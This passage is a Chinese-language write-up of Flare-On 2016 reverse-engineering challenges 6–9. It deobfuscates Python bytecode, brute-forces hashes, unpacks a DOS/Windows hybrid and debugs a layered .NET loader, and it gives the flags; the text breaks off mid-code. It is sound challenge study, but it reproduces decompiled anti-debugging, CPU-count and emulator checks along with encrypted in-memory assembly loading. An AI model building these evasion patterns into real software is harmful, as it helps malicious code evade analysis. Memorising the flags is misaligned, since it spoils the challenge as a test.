# 2016 Flare-On Challenge ( Part-2 )
>Author: Lays
> http://blog.l4ys.tw/
- [Part1](https://hackmd.io/s/HyOUlP9gg) ( 1 - 5 )
- [Part2](https://hackmd.io/s/B1Pr8gAlg) ( 6 - 10 )
## Challenge 6: khaki.exe
py2exe 產生的執行檔,是個猜數字遊戲
先用 `unpy2exe.py` 取出 `pyc`
但後來試了幾個工具將 pyc 反編譯回 python code 都失敗
最後直接用 `dis` 看 `bytecode`,肉眼轉回 source code:
```python
#!/usr/bin/env python
import dis, marshal
with open("./poc.py.pyc", "rb") as f:
magic_and_timestamp = f.read(8) # first 8 bytes are metadata
code = marshal.load(f) # rest is a marshalled code object
dis.dis(code)
```
bytecode 中有許多像是
```
LOAD_CONST -1
POP_TOP
```
```
ROT_TWO
ROT_TWO
```
```
ROT_THREE
ROT_THREE
ROT_THREE
```
大概就是造成工具失效的原因
還原的 src:
```python
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import random
__version__ = "Flare-On ultra python obfuscater 2000"
target = random.randint(1, 101)
count = 1
error_input = ''
while True:
print '(Guesses: %d) Pick a number between 1 and 100:' % count
input = sys.stdin.readline()
try:
input = int(input)
except:
error_input = input
print 'Invalid input: %s' % error_input
continue
if input == target:
break
if input < target:
print 'Too low, try again'
else:
print 'Too high, try again'
count += 1
if input == target:
win_msg = 'Wahoo, you guessed it with %d guesses\n' % count
sys.stdout.write(win_msg)
if count == 1:
print 'Status: super guesser %d' % count
sys.exit(1)
if count > 25:
print 'Status: took too long %d' % count
sys.exit(1)
else:
print 'Status: %d guesses' % count
if error_input != '':
tmp = ''.join(chr(ord(c) ^ 66) for c in error_input).encode('hex')
if tmp != '312a232f272e27313162322e372548': # shameless plug
sys.exit(0)
stuffs = [67,139,119,165,232,86,207,61,79,67,45,58,230,190,181,74,65,148,71,243,246,67,142,60,61,92,58,115,240,226,171]
import hashlib
stuffer = hashlib.md5(win_msg + tmp).digest()
for x in range(len(stuffs)):
print chr( stuffs[x] ^ ord(stuffer[x % len(stuffer)] ) ),
```
看完 code 後發現輸入 `shameless plug` 之後,再猜中數字,程式就會用猜的總次數跟字串做 md5 hash 當成 xor key 解密出 Flag
直接取出關鍵部分程式碼,用窮舉的方式得到符合條件的次數以及 Flag:
```python
#!/usr/bin/env python
count = 0
while True
out = ""
win_msg = 'Wahoo, you guessed it with %d guesses\n' % count
tmp = '312a232f272e27313162322e372548' #shameless plug
stuffs = [67,139,119,165,232,86,207,61,79,67,45,58,230,190,181,74,65,148,71,243,246,67,142,60,61,92,58,115,240,226,171]
stuffer = hashlib.md5(win_msg + tmp).digest()
for x in range(len(stuffs)):
out += chr( stuffs[x] ^ ord(stuffer[x % len(stuffer)] ) )
if "flare-on" in out:
print count, out
break
```
Flag: `1mp0rt3d_pygu3ss3r@flare-on.com`
> 解完後 Lucas 表示其實 fireeye 有出工具可以解這類的混淆 pyc...
> https://www.fireeye.com/blog/threat-research/2016/05/deobfuscating_python.html
---
## Challenge 7: hashes
golang 的 ELF 執行檔,剛開始分析的時候因為分不清楚 go 的 runtime code 跟實際的程式內容,浪費了一些時間
### 分析技巧
在許多函數的開頭會有這樣的 code,應該是 go 的 `runtime_morestack`,會造成 hexrays decompiler 跳過函數主體:
```
.text:08049B60 stc
.text:08049B61 lea esi, [esi+0]
.text:08049B67 jb short loc_8049BAF
...
.text:08049BAF loc_8049BAF: ; CODE XREF: sub_8049B60+7j
.text:08049BAF push 8
.text:08049BB1 push 1Ch
.text:08049BB3 call sub_804A810
.text:08049BB8 retn
```
解決方式是直接 nop 掉這些 code 或是從修改函數範圍從 `jb` 之後開始
go 的字串結構大概是
```c
struct GO_STRING
{
char *buf;
int len;
};
```
可以透過 IDA Pro 的 `Local Type` 幫助定位字串 buffer
### 程式行為:
1. `0x8049F6D` 檢查 `argv[1]` 只包含 ` abcdefghijklmnopqrstuvwxyz@-._1234`
2. 將 `argv[1]` 切割為 5 個子字串,每 6 個字元為一組,因此 `argv[1]` 長度應為 30
3. 將 5 個子字串分別進行 3 次的 sha1 hash
4. 以某種方式產生 100 個 index,從 `0x804BB80` 中以 index 取出對應的 100 個 byte,與上一步產生的 sha1(x3) hash 比對
產生 index 的方式大概如下:
```python
def gen_idx(start_idx, count=100):
x = start_idx
for i in count:
idx = (x + 461) % 4096
yield idx
x = idx;
```
### 反推
首先我們必須先取得最後用來比對的五組 sha1(x3) hash
做法是跟題目用一樣的方式產生出 100 個 index,並從 `0x804BB80` 取出對應的 byte
程式產生 index 時,決定 `start_idx` 的是第一組 sha1 hash(x3) 的第一個 byte,
我們無法得知第一組 sha1(x3) 的明文,所以無法確定 `start_idx`
但 Flag 的格式結尾固定為 `flare-on.com`
透過算出最後一組子字串 `on.com` 的 sha1(x3) hash,
接著窮舉 `start_idx` 並比對最後產生的 20 個 byte 是否等於 hash 來得到完整的 100 個 index,最後組出五組 sha1(x3) hash:
```python
#!/usr/bin/env python
import hashlib
sha1 = lambda x: hashlib.sha1(x).digest()
def sha1x3(s):
return sha1(sha1(sha1(s)))
def gen_idx(start_idx, count=100):
x = start_idx
for i in range(count):
idx = (x + 461) % 4096
yield idx
x = idx
with open("./hashes", "rb") as f:
f.seek(0x3b80)
data = f.read(4096)
# find start_idx
last_hash = sha1x3("on.com")
for start in range(0xff+1):
seq = list(gen_idx(start))
hashes = "".join(data[i] for i in seq)
if hashes[-20:] == last_hash:
print "found start_idx = %d" % start
for i in range(5):
print hashes[20*i:20*i+20].encode('hex')
break
```
得到 5 組 sha1(x3) hash:
```
3cab2465e955b78e1dc84ab2aad1773641ef6c29
4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f
9e6061a36250e1c47e69f0312db4e561528a1fb5
06046b721e18e20b841f497e257753b2314b866c
cc720842d0884da08e26d9fccb24bc9c27bd254e
```
最後產生字典來 `brute force` 出明文,最後兩組已知為及 `flare-` `on.com`
```python
#!/usr/bin/env python
import hashlib
from itertools import product
sha1 = lambda x: hashlib.sha1(x).digest()
def sha1x3(s):
return sha1(sha1(sha1(s)))
hashes = ["3cab2465e955b78e1dc84ab2aad1773641ef6c29", "4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f", "9e6061a36250e1c47e69f0312db4e561528a1fb5"]
charset = "abcdefghijklmnopqrstuvwxyz@-._1234"
for plain in product(charset, repeat=6):
plain = "".join(plain)
hash = sha1x3(plain).encode('hex')
if hash in hashes:
print plain, hash
```
```
h4sh3d 3cab2465e955b78e1dc84ab2aad1773641ef6c29
_th3_h 4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f
4sh3s@ 9e6061a36250e1c47e69f0312db4e561528a1fb5
```
Flag: `h4sh3d_th3_h4sh3s@flare-on.com`
---
## Challenge 8: CHIMERA.EXE
程式看起來非常簡單,將輸入的字元與 `0x7A` xor 之後要等於特定值:
```c
int start()
{
HANDLE stdin; // ST1C_4@1
int i; // ecx@1
int c; // eax@2
int sum; // [sp+4h] [bp-10h]@1
HANDLE stdout; // [sp+Ch] [bp-8h]@1
DWORD NumberOfBytesWritten; // [sp+10h] [bp-4h]@1
sum = 0;
stdin = GetStdHandle(STD_INPUT_HANDLE);
stdout = GetStdHandle(STD_OUTPUT_HANDLE);
WriteFile(stdout, aThisOneSForThe, 49u, &NumberOfBytesWritten, 0);
ReadFile(stdin, input, 50u, &NumberOfBytesWritten, 0);
i = 0;
while ( 1 )
{
c = input[i];
sum += c;
if ( ((i + c) ^ 0x7A) != byte_4021D2[i] )
break;
if ( ++i >= 26 )
{
if ( sum != 2549 )
return WriteFile(stdout, aYouHaveSucceed, 22u, &NumberOfBytesWritten, 0);
return WriteFile(stdout, aYouHaveFail_Pl, 38u, &NumberOfBytesWritten, 0);
}
}
return WriteFile(stdout, aYouHaveFail_Pl, 38u, &NumberOfBytesWritten, 0);
```
但反推回去會發現符合條件的字串為 `this is the wrong password`,且無法通過 `sum != 2549` 的條件
### DOS Stub
仔細觀察過這支程式後會發現有些微妙之處:
- 字串結尾都有 `$` 字元
- Dos Stub 的訊息是 `This program cannot not be run in DOS mode`
測試後會發現這隻程式可以同時在 `Windows` 及 `DOS Mode` 下執行,呼應題目名稱: CHIMERA
用 IDA Pro 載入,使用 `MS-DOS executable` 的 Loader 就可以進行分析:
```asm
seg000:0000 public start
seg000:0000 start:
seg000:0000 push cs
seg000:0001 pop ds
seg000:0002 assume ds:seg000
seg000:0002 mov dx, 11h
seg000:0005 mov ah, 9
seg000:0007 int 21h ; DOS - PRINT STRING
seg000:0007 ; DS:DX -> string terminated by "$"
seg000:0009 jmp loc_107C6
...
```
### Unpack
令人意外的是真正執行的代碼是在執行時動態 decode 的:
```asm
seg000:07C6 loc_107C6:
seg000:07C6 mov cx, 112 ; i = 112
seg000:07C9 loc_107C9:
seg000:07C9 mov bx, cx
seg000:07CB dec bx
seg000:07CC add bx, bx
seg000:07CE add word ptr loc_107D4[bx], cx ; 7D4 + 2 * ( i - 1 ) += i
seg000:07D2 loop loc_107C9 ; while ( --i )
seg000:07D4 db 0EBh
seg000:07D5 db 0FFh
seg000:07D6 db 0BEh
...
```
透過 `IDAPython` ( Shift + F2 in IDA Pro ) 來 decode `+0x7D4` 之後的代碼:
```python
for i in range(112, -1, -1):
c = Word(0x107D4 + i * 2)
PatchWord(0x107D4 + i * 2, c + i + 1)
```
### Reverse
```asm
...
seg000:07D4 in al, dx
seg000:07D5 inc ax
seg000:07D7 mov ax, 2A00h
seg000:07DA int 21h ; DOS - GET CURRENT DATE
seg000:07DA ; Return: DL = day, DH = month, CX = year
seg000:07DA ; AL = day of the week (0=Sunday, 1=Monday, etc.)
seg000:07DC sub cx, 7C6h
seg000:07E0 jg loc_108B0
seg000:07E4 mov dx, offset aThisOneSForThe ; "This one's for the geezers.\r\nEnter th"...
seg000:07E7 jz short loc_107EC
seg000:07E9 short loc_107EC
...
```
程式會判斷系統時間小於 1990 年,還有使用一些跳轉的簡單混淆來干擾 disassembler
patch 程式後,使用 `DosBox` 進行動態分析,將程式邏輯重新以 c 實作,最後直接用 [LazyKLEE](https://github.com/L4ys/LazyKLEE) 求解:
```shell
$ LazyKLEE.py ./solve.c
=== LazyKLEE ===
[+] Creating container...
a0cc1a19a8cdb52fa917df20fcc14f02e29e40031365a64d463dbdca58eb531b
[+] Compiling llvm bitcode...
[+] Running KLEE...
[+] ASSERTION triggered!
ktest file : './klee-last/test000001.ktest'
args : ['./out.bc']
num objects: 1
object 0: name: b'input'
object 0: size: 26
object 0: data: b'retr0_hack1ng@flare-on.com'
[+] Removing container...
```
Solution:
```c
#include <klee/klee.h>
#include <assert.h>
unsigned char data[] = {0xFF,0x15,0x74,0x20,0x40,0x00,0x89,0xEC,0x5D,0xC3,0x42,0x46,0xC0,0x63,0x86,0x2A,0xAB,0x08,0xBF,0x8C,0x4C,0x25,0x19,0x31,0x92,0xB0,0xAD,0x14,0xA2,0xB6,0x67,0xDD,0x39,0xD8,0x5F,0x3F,0x7B,0x5C,0xC2,0xB2,0xF6,0x2E,0x75,0x9B,0x61,0x94,0xCF,0xCE,0x6A,0x98,0x50,0xF2,0x5B,0xF0,0x45,0x30,0x0E,0x38,0xEB,0x3B,0x6C,0x66,0x7F,0x24,0x3D,0xDF,0x88,0x97,0xB9,0xB3,0xF1,0xCB,0x83,0x99,0x1A,0x0D,0xEF,0xB1,0x03,0x55,0x9E,0x9A,0x7A,0x10,0xE0,0x36,0xE8,0xD3,0xE4,0x32,0xC1,0x78,0x07,0xB7,0x6B,0xC7,0x70,0xC9,0x2C,0xA0,0x91,0x35,0x6D,0xFE,0x73,0x5E,0xF4,0xA4,0xD9,0xDB,0x43,0x69,0xF5,0x8D,0xEE,0x44,0x7D,0x48,0xB5,0xDC,0x4B,0x02,0xA1,0xE3,0xD2,0xA6,0x21,0x3E,0x2F,0xA3,0xD7,0xBB,0x84,0x5A,0xFB,0x8F,0x12,0x1C,0x41,0x28,0xC5,0x76,0x59,0x9C,0xF7,0x33,0x06,0x27,0x0A,0x0B,0xAF,0x71,0x16,0x4A,0xE9,0x9F,0x4F,0x6F,0xE2,0x0F,0xBE,0x2B,0xE7,0x56,0xD5,0x53,0x79,0x2D,0x64,0x17,0x95,0xA7,0xBD,0x7C,0x1D,0x58,0x93,0xA5,0x65,0xF8,0x18,0x13,0xEA,0xBC,0xE5,0xF3,0x37,0x04,0x96,0xA8,0x1E,0x01,0x29,0x82,0x51,0x3C,0x68,0x1F,0x8E,0xDA,0x8A,0x05,0x22,0x72,0x49,0xFA,0x87,0xA9,0x54,0x62,0xC6,0xAA,0x09,0xB4,0xFD,0xD6,0xD1,0xAC,0x85,0x11,0x47,0x3A,0x9D,0xE6,0x4D,0x1B,0xCC,0x52,0x80,0x23,0xFC,0xED,0x8B,0x7E,0x60,0xCD,0x6E,0x57,0xBA,0xDE,0xAE,0xCA,0xC4,0x77,0x0C,0x4E,0xD4,0xD0,0xC8,0xE1,0xB8,0xF9,0x26,0x90,0x81,0x34};
unsigned char secret[] = {0x38,0xE1,0x4A,0x1B,0x0C,0x1A,0x46,0x46,0x0A,0x96,0x29,0x73,0x73,0xA4,0x69,0x03,0x00,0x1B,0xA8,0xF8,0xB8,0x24,0x16,0xD6,0x09,0xCB};
unsigned char rol(unsigned int val, unsigned char r_bits)
{
return ((val << r_bits%8) & (256-1)) | (((val & (256-1)) >> (8-(r_bits%8))));
}
int main(int argc, char *argv[])
{
unsigned char input[26];
klee_make_symbolic(input, 26, "input");
for ( int i = 0; i < 26; ++ i ) {
unsigned char idx = i == 0 ? 151:input[26-i];
idx = rol(idx, 3);
idx = data[idx];
input[26-i-1] ^= data[idx];
}
for ( int i = 0; i < 26; ++ i ) {
unsigned char idx = i == 0 ? 0xc5:input[i-1];
input[i] ^= idx;
}
unsigned int sum = 0;
for ( int i = 0; i < 26; ++ i )
sum += input[i] ^ secret[i];
if ( sum == 0 )
klee_assert(0);
return 0;
}
```
Flag: `retr0_hack1ng@flare-on.com`
---
## Challenge 9: GUI.exe
.NET 執行檔,執行後只有一行字 `Combine all 6 shares`
跟一個按鈕,毫無反應,只是個按鈕
`strings ./GUI.exe` 可以得到一組序號 `Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64`
照題目敘述應該需要收集 6 組
### Reverse
用 `dnSpy` decompile 後發現程式有被混淆過,而在按鈕事件中觀察到會透過 `Assembly.Load` 及 `Invoke` 來執行 code
```c#
private void button1_Click(object sender, EventArgs e)
{
byte[] buf = Form1.ReadResource(<Module>.\u206F\u202C\u206B\u202E\u200F\u206E\u202E\u206B\u202D\u206D\u200F\u206F\u200F\u200F\u202B\u202C\u200E\u206B\u202C\u202A\u202E\u206D\u206C\u200E\u206C\u206E\u200B\u200F\u206F\u200E\u202A\u206F\u206C\u200B\u206B\u206A\u206B\u202C\u206B\u206E\u202E<string>(282000140u));
byte[] buffer = this.decryptBuffer(buf);
byte[] rawAssembly = util.DecompressBuffer(buffer);
Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType(<Module>.\u202C\u200C\u200F\u202E\u202A\u200E\u202A\u206D\u206F\u200D\u206C\u202C\u200C\u206D\u200C\u206D\u206E\u200E\u200C\u202C\u200F\u206C\u206C\u200D\u200E\u206C\u200D\u202D\u206A\u206E\u200D\u202A\u200B\u206D\u206B\u200D\u206A\u206B\u206E\u206F\u202E<string>(370292149u));
MethodInfo method = type.GetMethod(<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(547307959u));
bool flag = (bool)method.Invoke(null, new object[]
{
<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(292816780u)
});
if (flag)
{
MessageBox.Show(<Module>.\u202D\u202A\u202E\u206C\u202B\u200F\u206B\u202A\u206C\u200D\u200D\u200C\u202B\u206F\u206F\u202C\u206F\u206E\u206D\u206C\u206D\u206F\u206D\u202B\u202C\u200C\u200E\u206B\u200E\u200D\u202C\u206C\u206B\u206E\u200C\u202D\u202E\u200C\u200C\u200C\u202E<string>(3452886671u));
return;
}
MessageBox.Show(<Module>.\u206B\u206A\u200E\u202B\u200E\u202B\u202C\u200F\u202E\u202D\u202B\u200F\u206E\u202B\u206B\u202B\u202A\u206E\u206C\u202B\u202E\u206F\u202C\u200C\u200E\u206A\u202B\u202E\u202D\u200D\u202C\u206E\u202D\u206B\u206D\u206C\u202B\u202D\u206C\u206A\u202E<string>(458656109u));
}
```
解這題時,原先是 Dump 出 `Assembly.Load` 載入的 dll ,透過 `de4dot` 反混淆後再用靜態的方式分析,但對於動態混淆的處理效果不好,最後直接用 `dnSpy` 動態分析
>有個小技巧是用 Debugger 跟進 `Invoke` ,中斷在 `InvokeMethodFast` 中的 `_InvokeMethodFast` 的呼叫上,單步執行之後就可以停在新載入的 dll 的入口,`dnSpy` 也會自動從記憶體中載入 dll
### Layer1.dll
跟進 `_InvokeMethodFast` 後停在 `Layer1.dll` 的 `Constructor`:
```c#
internal class <Module>
{
static <Module>()
{
<Module>.\u206F\u202C\u206C\u200B\u206F\u202D\u206C\u202C\u200F\u200F\u202D\u200E\u202C\u202E\u202A\u206D\u202D\u206F\u206C\u200C\u206A\u202C\u206C\u206E\u200D\u200F\u206E\u206E\u200E\u200F\u202D\u206A\u202C\u200E\u206D\u200C\u206C\u200D\u202E\u206C\u202E();
<Module>.\u206B\u200B\u206C\u200F\u206A\u206E\u202D\u206C\u206F\u200F\u202D\u202B\u206B\u206F\u202A\u200E\u202A\u206B\u206A\u200F\u202C\u202A\u200C\u202A\u202C\u202E\u206F\u200B\u206D\u200E\u202A\u202A\u200E\u202B\u200F\u206F\u202C\u200B\u206A\u200E\u202E();
}
...
```
先步過第一個初始化函數,接著在 `Layer1.dll` 上按右鍵選取 `Reload All Method Bodies`
`Layer1` 真正的代碼就會出現,此時在 `Start` 上下斷點後執行:
```c#
public static class Layer1
{
public static string getKey()
{
string[] directories = Directory.GetDirectories(<Module>.\u202C\u202E\u206F\u206F\u202C\u202E\u202A\u206F\u202D\u206B\u206D\u206D\u202C\u202D\u206B\u202A\u200D\u202E\u206B\u206C\u202C\u206C\u206F\u202D\u206A\u202E\u206D\u200C\u202E\u200F\u200D\u206A\u206B\u200C\u206A\u206F\u200C\u202A\u206F\u202A\u202E<string>(385305873u), <Module>.\u202A\u200C\u206D\u200E\u206C\u206F\u202C\u206F\u200B\u206E\u202B\u202C\u206E\u202B\u206B\u202D\u206A\u202B\u202C\u200C\u200B\u206C\u202A\u206B\u202A\u206D\u200E\u200D\u202B\u206A\u202D\u206E\u206C\u200E\u200F\u202B\u202E\u206C\u206D\u202D\u202E<string>(3893211695u), SearchOption.TopDirectoryOnly);
for (int i = 0; i < directories.Length; i++)
{
string text = directories[i];
string text2 = text.Substring(2);
MD5 mD = MD5.Create();
byte[] bytes = Encoding.UTF8.GetBytes(text2);
byte[] inArray = mD.ComputeHash(bytes);
string text3 = Convert.ToBase64String(inArray);
if (text3.CompareTo(StringUtils.a1224) == 0)
{
return <Module>.\u206E\u206B\u200C\u206B\u202B\u202D\u206D\u206A\u202A\u200E\u206E\u206D\u202B\u206F\u202A\u206C\u200C\u200C\u202E\u206A\u202D\u200E\u206D\u202A\u206D\u206B\u202E\u206A\u200E\u202D\u202A\u200E\u202B\u200E\u206E\u200E\u200F\u206C\u202D\u200F\u202E<string>(1448266994u) + text2;
}
Console.WriteLine(text3);
}
return <Module>.\u206E\u206B\u200C\u206B\u202B\u202D\u206D\u206A\u202A\u200E\u206E\u206D\u202B\u206F\u202A\u206C\u200C\u200C\u202E\u206A\u202D\u200E\u206D\u202A\u206D\u206B\u202E\u206A\u200E\u202D\u202A\u200E\u202B\u200E\u206E\u200E\u200F\u206C\u202D\u200F\u202E<string>(4084845939u);
}
[DllImport("kernel32.dll")]
private static extern bool IsDebuggerPresent();
public static bool Start(string config)
{
Config config2 = Config.InitConfig(config);
if (config2 == null)
{
return false;
}
if (!CPUDetection.CheckCPUCount(config2.CPUCount))
{
return false;
}
if (config2.DebugDetection && Layer1.IsDebuggerPresent())
{
return false;
}
bool result;
try
{
string key = Layer1.getKey();
byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(2155271801u));
byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key));
byte[] rawAssembly = util.DecompressBuffer(buffer);
Assembly assembly = Assembly.Load(rawAssembly);
Type type = assembly.GetType(<Module>.\u206A\u202E\u202A\u206C\u200E\u206B\u200E\u200F\u202E\u202E\u206D\u206B\u200B\u202D\u200B\u200C\u200F\u202A\u202D\u206C\u206C\u206D\u206D\u202E\u206A\u200F\u200E\u200D\u206F\u206C\u206F\u206D\u200E\u200C\u200D\u202E\u202D\u200D\u202C\u202E<string>(1983674467u));
MethodInfo method = type.GetMethod(<Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(1619868913u));
bool flag = (bool)method.Invoke(null, new object[]
{
<Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(2894386820u)
});
result = flag;
}
catch (Exception)
{
result = false;
}
return result;
}
}
```
從區域變數視窗可以得到第二組 share:
`shareShare:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3`
- `Layer1.Start()` 中會檢查 CPU 核心數為 2
- `Layer1.getKey()` 會遍歷當前目錄下所有目錄,檢查是否有目錄名稱 `md5` 後的 `base64`為 `UtYScX3YLz4wCCfrR5ssZQ==`,將該目錄名稱加上 `flare-` 後回傳
google 後得到明文 `sharing:52d6127375d82f3e300827eb479b2c65`
建立一個名為 `sharing` 的目錄或是動態修改區域變數即可
- 最後透過 `Layer1.getKey()` 回傳的 key 透過 AES 解密出下一層的 `dll` 並載入執行
### Layer2.dll
用跟前一步一樣的方式來到 `Layer2.dll` 的入口,並步過第一個初始化函數後選取 ` Reload All Method Bodies`,在 `Layer2.Start()` 下斷點後執行
`Layer2` 的混淆程度似乎更高:
```c#
public class Layer2
{
public static string getKey()
{
string[] subKeyNames = Registry.CurrentUser.GetSubKeyNames();
string result;
while (true)
{
IL_0B:
uint arg_15_0 = 4073380080u;
while (true)
{
uint num;
switch ((num = (arg_15_0 ^ 3102362556u)) % 14u)
{
case 0u:
{
int num2;
num2++;
arg_15_0 = 2422995106u;
continue;
}
case 1u:
{
int num2 = 0;
arg_15_0 = (num * 2671731663u ^ 225261231u);
continue;
}
case 2u:
{
string text;
arg_15_0 = (((text.CompareTo(StringUtils.a650) == 0) ? 2785585759u : 2681437764u) ^ num * 2156941825u);
continue;
}
case 4u:
{
string[] array = subKeyNames;
arg_15_0 = (num * 125796346u ^ 1945840459u);
continue;
}
case 5u:
{
MD5 mD;
byte[] bytes;
byte[] inArray = mD.ComputeHash(bytes);
arg_15_0 = (num * 1096390724u ^ 4028304633u);
continue;
}
case 7u:
{
string text2;
result = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2581785547u) + text2;
arg_15_0 = (num * 2965273874u ^ 739341603u);
continue;
}
case 8u:
{
int num2;
string[] array;
arg_15_0 = ((num2 < array.Length) ? 2196425607u : 4160071843u);
continue;
}
case 9u:
goto IL_145;
case 10u:
arg_15_0 = (num * 3530635147u ^ 2127247940u);
continue;
case 11u:
{
byte[] inArray;
string text = Convert.ToBase64String(inArray);
arg_15_0 = (num * 3877748401u ^ 3299180833u);
continue;
}
case 12u:
goto IL_0B;
case 13u:
{
int num2;
string[] array;
string text2 = array[num2];
Console.WriteLine(<Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(638765194u) + text2);
MD5 mD = MD5.Create();
byte[] bytes = Encoding.UTF8.GetBytes(text2);
arg_15_0 = 2162082765u;
continue;
}
}
goto Block_1;
}
}
Block_1:
return result;
IL_145:
return <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(228703156u);
}
public static bool IsVideoCardFromEmulator()
{
ManagementScope scope = new ManagementScope(<Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(62463277u));
ObjectQuery query = new ObjectQuery(<Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2807314222u));
ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query);
ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get();
bool result;
string[] array2;
while (true)
{
IL_2F:
uint arg_39_0 = 4136287803u;
while (true)
{
uint num;
switch ((num = (arg_39_0 ^ 2413552312u)) % 10u)
{
case 1u:
{
string[] array;
array[2] = <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(3503542146u);
arg_39_0 = (num * 1362606596u ^ 4252385414u);
continue;
}
case 2u:
{
string[] array;
array[0] = <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(927696220u);
array[1] = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(1518576413u);
arg_39_0 = (num * 507211509u ^ 605477889u);
continue;
}
case 3u:
result = false;
arg_39_0 = (num * 2165055198u ^ 141583840u);
continue;
case 4u:
{
string[] array;
array[3] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(1951003351u);
array[4] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(3348962035u);
array[5] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(1550968058u);
arg_39_0 = (num * 297585876u ^ 1374145066u);
